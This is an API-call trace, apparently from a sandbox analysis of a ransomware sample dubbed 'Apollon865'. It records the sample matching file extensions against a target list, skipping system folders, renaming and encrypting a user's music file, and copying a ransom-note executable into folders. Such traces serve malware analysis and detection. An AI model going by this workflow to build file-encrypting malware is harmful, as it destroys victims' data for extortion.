	[0087.725] lstrcmpiW (lpString1="m4a", lpString2="cat") returned 1
	[0087.725] lstrlenW (lpString="cdb") returned 3
	[0087.725] lstrcmpiW (lpString1="m4a", lpString2="cdb") returned 1
	[0087.725] lstrlenW (lpString="ckp") returned 3
	[0087.725] lstrcmpiW (lpString1="m4a", lpString2="ckp") returned 1
	[0087.725] lstrlenW (lpString="cma") returned 3
	[0087.725] lstrcmpiW (lpString1="m4a", lpString2="cma") returned 1
	[0087.725] lstrlenW (lpString="cpd") returned 3
	[0087.725] lstrcmpiW (lpString1="m4a", lpString2="cpd") returned 1
	[0087.725] lstrlenW (lpString="dacpac") returned 6
	[0087.725] lstrcmpiW (lpString1="iy.m4a", lpString2="dacpac") returned 1
	[0087.725] lstrlenW (lpString="dad") returned 3
	[0087.725] lstrcmpiW (lpString1="m4a", lpString2="dad") returned 1
	[0087.725] lstrlenW (lpString="dadiagrams") returned 10
	[0087.725] lstrcmpiW (lpString1="aEdCiy.m4a", lpString2="dadiagrams") returned -1
	[0087.725] lstrlenW (lpString="daschema") returned 8
	[0087.725] lstrcmpiW (lpString1="dCiy.m4a", lpString2="daschema") returned 1
	[0087.725] lstrlenW (lpString="db-journal") returned 10
	[0087.725] lstrcmpiW (lpString1="aEdCiy.m4a", lpString2="db-journal") returned -1
	[0087.725] lstrlenW (lpString="db-shm") returned 6
	[0087.725] lstrcmpiW (lpString1="iy.m4a", lpString2="db-shm") returned 1
	[0087.725] lstrlenW (lpString="db-wal") returned 6
	[0087.725] lstrcmpiW (lpString1="iy.m4a", lpString2="db-wal") returned 1
	[0087.725] lstrlenW (lpString="dbc") returned 3
	[0087.725] lstrcmpiW (lpString1="m4a", lpString2="dbc") returned 1
	[0087.725] lstrlenW (lpString="dbs") returned 3
	[0087.725] lstrcmpiW (lpString1="m4a", lpString2="dbs") returned 1
	[0087.725] lstrlenW (lpString="dbt") returned 3
	[0087.725] lstrcmpiW (lpString1="m4a", lpString2="dbt") returned 1
	[0087.725] lstrlenW (lpString="dbv") returned 3
	[0087.725] lstrcmpiW (lpString1="m4a", lpString2="dbv") returned 1
	[0087.726] lstrlenW (lpString="dbx") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="dbx") returned 1
	[0087.726] lstrlenW (lpString="dcb") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="dcb") returned 1
	[0087.726] lstrlenW (lpString="dct") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="dct") returned 1
	[0087.726] lstrlenW (lpString="dcx") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="dcx") returned 1
	[0087.726] lstrlenW (lpString="ddl") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="ddl") returned 1
	[0087.726] lstrlenW (lpString="dlis") returned 4
	[0087.726] lstrcmpiW (lpString1=".m4a", lpString2="dlis") returned -1
	[0087.726] lstrlenW (lpString="dp1") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="dp1") returned 1
	[0087.726] lstrlenW (lpString="dqy") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="dqy") returned 1
	[0087.726] lstrlenW (lpString="dsk") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="dsk") returned 1
	[0087.726] lstrlenW (lpString="dsn") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="dsn") returned 1
	[0087.726] lstrlenW (lpString="dtsx") returned 4
	[0087.726] lstrcmpiW (lpString1=".m4a", lpString2="dtsx") returned -1
	[0087.726] lstrlenW (lpString="dxl") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="dxl") returned 1
	[0087.726] lstrlenW (lpString="eco") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="eco") returned 1
	[0087.726] lstrlenW (lpString="ecx") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="ecx") returned 1
	[0087.726] lstrlenW (lpString="edb") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="edb") returned 1
	[0087.726] lstrlenW (lpString="epim") returned 4
	[0087.726] lstrcmpiW (lpString1=".m4a", lpString2="epim") returned -1
	[0087.726] lstrlenW (lpString="fcd") returned 3
	[0087.726] lstrcmpiW (lpString1="m4a", lpString2="fcd") returned 1
	[0087.726] lstrlenW (lpString="fdb") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="fdb") returned 1
	[0087.727] lstrlenW (lpString="fic") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="fic") returned 1
	[0087.727] lstrlenW (lpString="flexolibrary") returned 12
	[0087.727] lstrcmpiW (lpString1="YtaEdCiy.m4a", lpString2="flexolibrary") returned 1
	[0087.727] lstrlenW (lpString="fm5") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="fm5") returned 1
	[0087.727] lstrlenW (lpString="fmp") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="fmp") returned 1
	[0087.727] lstrlenW (lpString="fmp12") returned 5
	[0087.727] lstrcmpiW (lpString1="y.m4a", lpString2="fmp12") returned 1
	[0087.727] lstrlenW (lpString="fmpsl") returned 5
	[0087.727] lstrcmpiW (lpString1="y.m4a", lpString2="fmpsl") returned 1
	[0087.727] lstrlenW (lpString="fol") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="fol") returned 1
	[0087.727] lstrlenW (lpString="fp3") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="fp3") returned 1
	[0087.727] lstrlenW (lpString="fp4") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="fp4") returned 1
	[0087.727] lstrlenW (lpString="fp5") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="fp5") returned 1
	[0087.727] lstrlenW (lpString="fp7") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="fp7") returned 1
	[0087.727] lstrlenW (lpString="fpt") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="fpt") returned 1
	[0087.727] lstrlenW (lpString="frm") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="frm") returned 1
	[0087.727] lstrlenW (lpString="gdb") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0087.727] lstrlenW (lpString="gdb") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0087.727] lstrlenW (lpString="grdb") returned 4
	[0087.727] lstrcmpiW (lpString1=".m4a", lpString2="grdb") returned -1
	[0087.727] lstrlenW (lpString="gwi") returned 3
	[0087.727] lstrcmpiW (lpString1="m4a", lpString2="gwi") returned 1
	[0087.727] lstrlenW (lpString="hdb") returned 3
	[0087.728] lstrcmpiW (lpString1="m4a", lpString2="hdb") returned 1
	[0087.728] lstrlenW (lpString="his") returned 3
	[0087.728] lstrcmpiW (lpString1="m4a", lpString2="his") returned 1
	[0087.728] lstrlenW (lpString="ib") returned 2
	[0087.728] lstrcmpiW (lpString1="4a", lpString2="ib") returned -1
	[0087.728] lstrlenW (lpString="idb") returned 3
	[0087.728] lstrcmpiW (lpString1="m4a", lpString2="idb") returned 1
	[0087.728] lstrlenW (lpString="ihx") returned 3
	[0087.728] lstrcmpiW (lpString1="m4a", lpString2="ihx") returned 1
	[0087.728] lstrlenW (lpString="itdb") returned 4
	[0087.728] lstrcmpiW (lpString1=".m4a", lpString2="itdb") returned -1
	[0087.728] lstrlenW (lpString="itw") returned 3
	[0087.728] lstrcmpiW (lpString1="m4a", lpString2="itw") returned 1
	[0087.728] lstrlenW (lpString="jet") returned 3
	[0087.728] lstrcmpiW (lpString1="m4a", lpString2="jet") returned 1
	[0087.728] lstrlenW (lpString="jtx") returned 3
	[0087.728] lstrcmpiW (lpString1="m4a", lpString2="jtx") returned 1
	[0087.728] lstrlenW (lpString="kdb") returned 3
	[0087.728] lstrcmpiW (lpString1="m4a", lpString2="kdb") returned 1
	[0087.728] lstrlenW (lpString="kexi") returned 4
	[0087.728] lstrcmpiW (lpString1=".m4a", lpString2="kexi") returned -1
	[0087.728] lstrlenW (lpString="kexic") returned 5
	[0087.728] lstrcmpiW (lpString1="y.m4a", lpString2="kexic") returned 1
	[0087.728] lstrlenW (lpString="kexis") returned 5
	[0087.728] lstrcmpiW (lpString1="y.m4a", lpString2="kexis") returned 1
	[0087.728] lstrlenW (lpString="lgc") returned 3
	[0087.728] lstrcmpiW (lpString1="m4a", lpString2="lgc") returned 1
	[0087.728] lstrlenW (lpString="lwx") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="lwx") returned 1
	[0087.729] lstrlenW (lpString="maf") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="maf") returned -1
	[0087.729] lstrlenW (lpString="maq") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="maq") returned -1
	[0087.729] lstrlenW (lpString="mar") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="mar") returned -1
	[0087.729] lstrlenW (lpString="marshal") returned 7
	[0087.729] lstrcmpiW (lpString1="Ciy.m4a", lpString2="marshal") returned -1
	[0087.729] lstrlenW (lpString="mas") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="mas") returned -1
	[0087.729] lstrlenW (lpString="mav") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="mav") returned -1
	[0087.729] lstrlenW (lpString="maw") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="maw") returned -1
	[0087.729] lstrlenW (lpString="mdbhtml") returned 7
	[0087.729] lstrcmpiW (lpString1="Ciy.m4a", lpString2="mdbhtml") returned -1
	[0087.729] lstrlenW (lpString="mdn") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="mdn") returned -1
	[0087.729] lstrlenW (lpString="mdt") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="mdt") returned -1
	[0087.729] lstrlenW (lpString="mfd") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="mfd") returned -1
	[0087.729] lstrlenW (lpString="mpd") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="mpd") returned -1
	[0087.729] lstrlenW (lpString="mrg") returned 3
	[0087.729] lstrcmpiW (lpString1="m4a", lpString2="mrg") returned -1
	[0087.729] lstrlenW (lpString="mud") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="mud") returned -1
	[0087.730] lstrlenW (lpString="mwb") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="mwb") returned -1
	[0087.730] lstrlenW (lpString="myd") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="myd") returned -1
	[0087.730] lstrlenW (lpString="ndf") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="ndf") returned -1
	[0087.730] lstrlenW (lpString="nnt") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="nnt") returned -1
	[0087.730] lstrlenW (lpString="nrmlib") returned 6
	[0087.730] lstrcmpiW (lpString1="iy.m4a", lpString2="nrmlib") returned -1
	[0087.730] lstrlenW (lpString="ns2") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="ns2") returned -1
	[0087.730] lstrlenW (lpString="ns3") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="ns3") returned -1
	[0087.730] lstrlenW (lpString="ns4") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="ns4") returned -1
	[0087.730] lstrlenW (lpString="nsf") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="nsf") returned -1
	[0087.730] lstrlenW (lpString="nv") returned 2
	[0087.730] lstrcmpiW (lpString1="4a", lpString2="nv") returned -1
	[0087.730] lstrlenW (lpString="nv2") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="nv2") returned -1
	[0087.730] lstrlenW (lpString="nwdb") returned 4
	[0087.730] lstrcmpiW (lpString1=".m4a", lpString2="nwdb") returned -1
	[0087.730] lstrlenW (lpString="nyf") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="nyf") returned -1
	[0087.730] lstrlenW (lpString="odb") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0087.730] lstrlenW (lpString="odb") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0087.730] lstrlenW (lpString="oqy") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="oqy") returned -1
	[0087.730] lstrlenW (lpString="ora") returned 3
	[0087.730] lstrcmpiW (lpString1="m4a", lpString2="ora") returned -1
	[0087.730] lstrlenW (lpString="orx") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="orx") returned -1
	[0087.731] lstrlenW (lpString="owc") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="owc") returned -1
	[0087.731] lstrlenW (lpString="p96") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="p96") returned -1
	[0087.731] lstrlenW (lpString="p97") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="p97") returned -1
	[0087.731] lstrlenW (lpString="pan") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="pan") returned -1
	[0087.731] lstrlenW (lpString="pdb") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="pdb") returned -1
	[0087.731] lstrlenW (lpString="pdm") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="pdm") returned -1
	[0087.731] lstrlenW (lpString="pnz") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="pnz") returned -1
	[0087.731] lstrlenW (lpString="qry") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="qry") returned -1
	[0087.731] lstrlenW (lpString="qvd") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="qvd") returned -1
	[0087.731] lstrlenW (lpString="rbf") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="rbf") returned -1
	[0087.731] lstrlenW (lpString="rctd") returned 4
	[0087.731] lstrcmpiW (lpString1=".m4a", lpString2="rctd") returned -1
	[0087.731] lstrlenW (lpString="rod") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="rod") returned -1
	[0087.731] lstrlenW (lpString="rodx") returned 4
	[0087.731] lstrcmpiW (lpString1=".m4a", lpString2="rodx") returned -1
	[0087.731] lstrlenW (lpString="rpd") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="rpd") returned -1
	[0087.731] lstrlenW (lpString="rsd") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="rsd") returned -1
	[0087.731] lstrlenW (lpString="sas7bdat") returned 8
	[0087.731] lstrcmpiW (lpString1="dCiy.m4a", lpString2="sas7bdat") returned -1
	[0087.731] lstrlenW (lpString="sbf") returned 3
	[0087.731] lstrcmpiW (lpString1="m4a", lpString2="sbf") returned -1
	[0087.732] lstrlenW (lpString="scx") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="scx") returned -1
	[0087.732] lstrlenW (lpString="sdb") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="sdb") returned -1
	[0087.732] lstrlenW (lpString="sdc") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="sdc") returned -1
	[0087.732] lstrlenW (lpString="sdf") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="sdf") returned -1
	[0087.732] lstrlenW (lpString="sis") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="sis") returned -1
	[0087.732] lstrlenW (lpString="spq") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="spq") returned -1
	[0087.732] lstrlenW (lpString="te") returned 2
	[0087.732] lstrcmpiW (lpString1="4a", lpString2="te") returned -1
	[0087.732] lstrlenW (lpString="teacher") returned 7
	[0087.732] lstrcmpiW (lpString1="Ciy.m4a", lpString2="teacher") returned -1
	[0087.732] lstrlenW (lpString="tmd") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="tmd") returned -1
	[0087.732] lstrlenW (lpString="tps") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="tps") returned -1
	[0087.732] lstrlenW (lpString="trc") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0087.732] lstrlenW (lpString="trc") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0087.732] lstrlenW (lpString="trm") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="trm") returned -1
	[0087.732] lstrlenW (lpString="udb") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="udb") returned -1
	[0087.732] lstrlenW (lpString="udl") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="udl") returned -1
	[0087.732] lstrlenW (lpString="usr") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="usr") returned -1
	[0087.732] lstrlenW (lpString="v12") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="v12") returned -1
	[0087.732] lstrlenW (lpString="vis") returned 3
	[0087.732] lstrcmpiW (lpString1="m4a", lpString2="vis") returned -1
	[0087.733] lstrlenW (lpString="vpd") returned 3
	[0087.733] lstrcmpiW (lpString1="m4a", lpString2="vpd") returned -1
	[0087.733] lstrlenW (lpString="vvv") returned 3
	[0087.733] lstrcmpiW (lpString1="m4a", lpString2="vvv") returned -1
	[0087.733] lstrlenW (lpString="wdb") returned 3
	[0087.733] lstrcmpiW (lpString1="m4a", lpString2="wdb") returned -1
	[0087.733] lstrlenW (lpString="wmdb") returned 4
	[0087.733] lstrcmpiW (lpString1=".m4a", lpString2="wmdb") returned -1
	[0087.733] lstrlenW (lpString="wrk") returned 3
	[0087.733] lstrcmpiW (lpString1="m4a", lpString2="wrk") returned -1
	[0087.733] lstrlenW (lpString="xdb") returned 3
	[0087.733] lstrcmpiW (lpString1="m4a", lpString2="xdb") returned -1
	[0087.733] lstrlenW (lpString="xld") returned 3
	[0087.733] lstrcmpiW (lpString1="m4a", lpString2="xld") returned -1
	[0087.733] lstrlenW (lpString="xmlff") returned 5
	[0087.733] lstrcmpiW (lpString1="y.m4a", lpString2="xmlff") returned 1
	[0087.733] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yMC2DLtUhcYtaEdCiy.m4a.Apollon865") returned 69
	[0087.733] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yMC2DLtUhcYtaEdCiy.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ymc2dltuhcytaedciy.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yMC2DLtUhcYtaEdCiy.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ymc2dltuhcytaedciy.m4a.apollon865"), dwFlags=0x1) returned 1
	[0087.735] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yMC2DLtUhcYtaEdCiy.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ymc2dltuhcytaedciy.m4a.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.735] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=51144) returned 1
	[0087.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.736] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.736] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.736] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.737] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcad0, lpName=0x0) returned 0x15c
	[0087.737] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcad0) returned 0x100000
	[0087.739] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.740] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.740] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.740] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.740] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.740] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.740] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.740] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.740] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.741] CloseHandle (hObject=0x15c) returned 1
	[0087.741] CloseHandle (hObject=0x9c) returned 1
	[0087.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.743] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x851dbb0, ftCreationTime.dwHighDateTime=0x1d4c58d, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30304150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yXk3_kByU", cAlternateFileName="YXK3_K~1")) returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2="Apollon865.txt.exe") returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2=".") returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2="..") returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2="windows") returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2="bootmgr") returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2="temp") returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2="pagefile.sys") returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2="boot") returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2="ids.txt") returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2="ntuser.dat") returned 1
	[0087.743] lstrcmpiW (lpString1="yXk3_kByU", lpString2="perflogs") returned 1
	[0087.744] lstrcmpiW (lpString1="yXk3_kByU", lpString2="MSBuild") returned 1
	[0087.744] lstrlenW (lpString="yXk3_kByU") returned 9
	[0087.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yMC2DLtUhcYtaEdCiy.m4a") returned 58
	[0087.744] lstrcpyW (in: lpString1=0x119e650, lpString2="yXk3_kByU" | out: lpString1="yXk3_kByU") returned="yXk3_kByU"
	[0087.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0087.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5730
	[0087.744] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ad0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ad0) returned 0x5b7b70
	[0087.744] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x851dbb0, ftCreationTime.dwHighDateTime=0x1d4c58d, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30304150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yXk3_kByU", cAlternateFileName="YXK3_K~1")) returned 0
	[0087.744] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0087.744] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ad0
	[0087.744] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU"
	[0087.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5730 | out: hHeap=0x580000) returned 1
	[0087.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0087.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU") returned 45
	[0087.744] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU"
	[0087.744] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.744] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.745] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.746] GetLastError () returned 0x0
	[0087.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.746] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.746] CloseHandle (hObject=0x10c) returned 1
	[0087.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.746] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
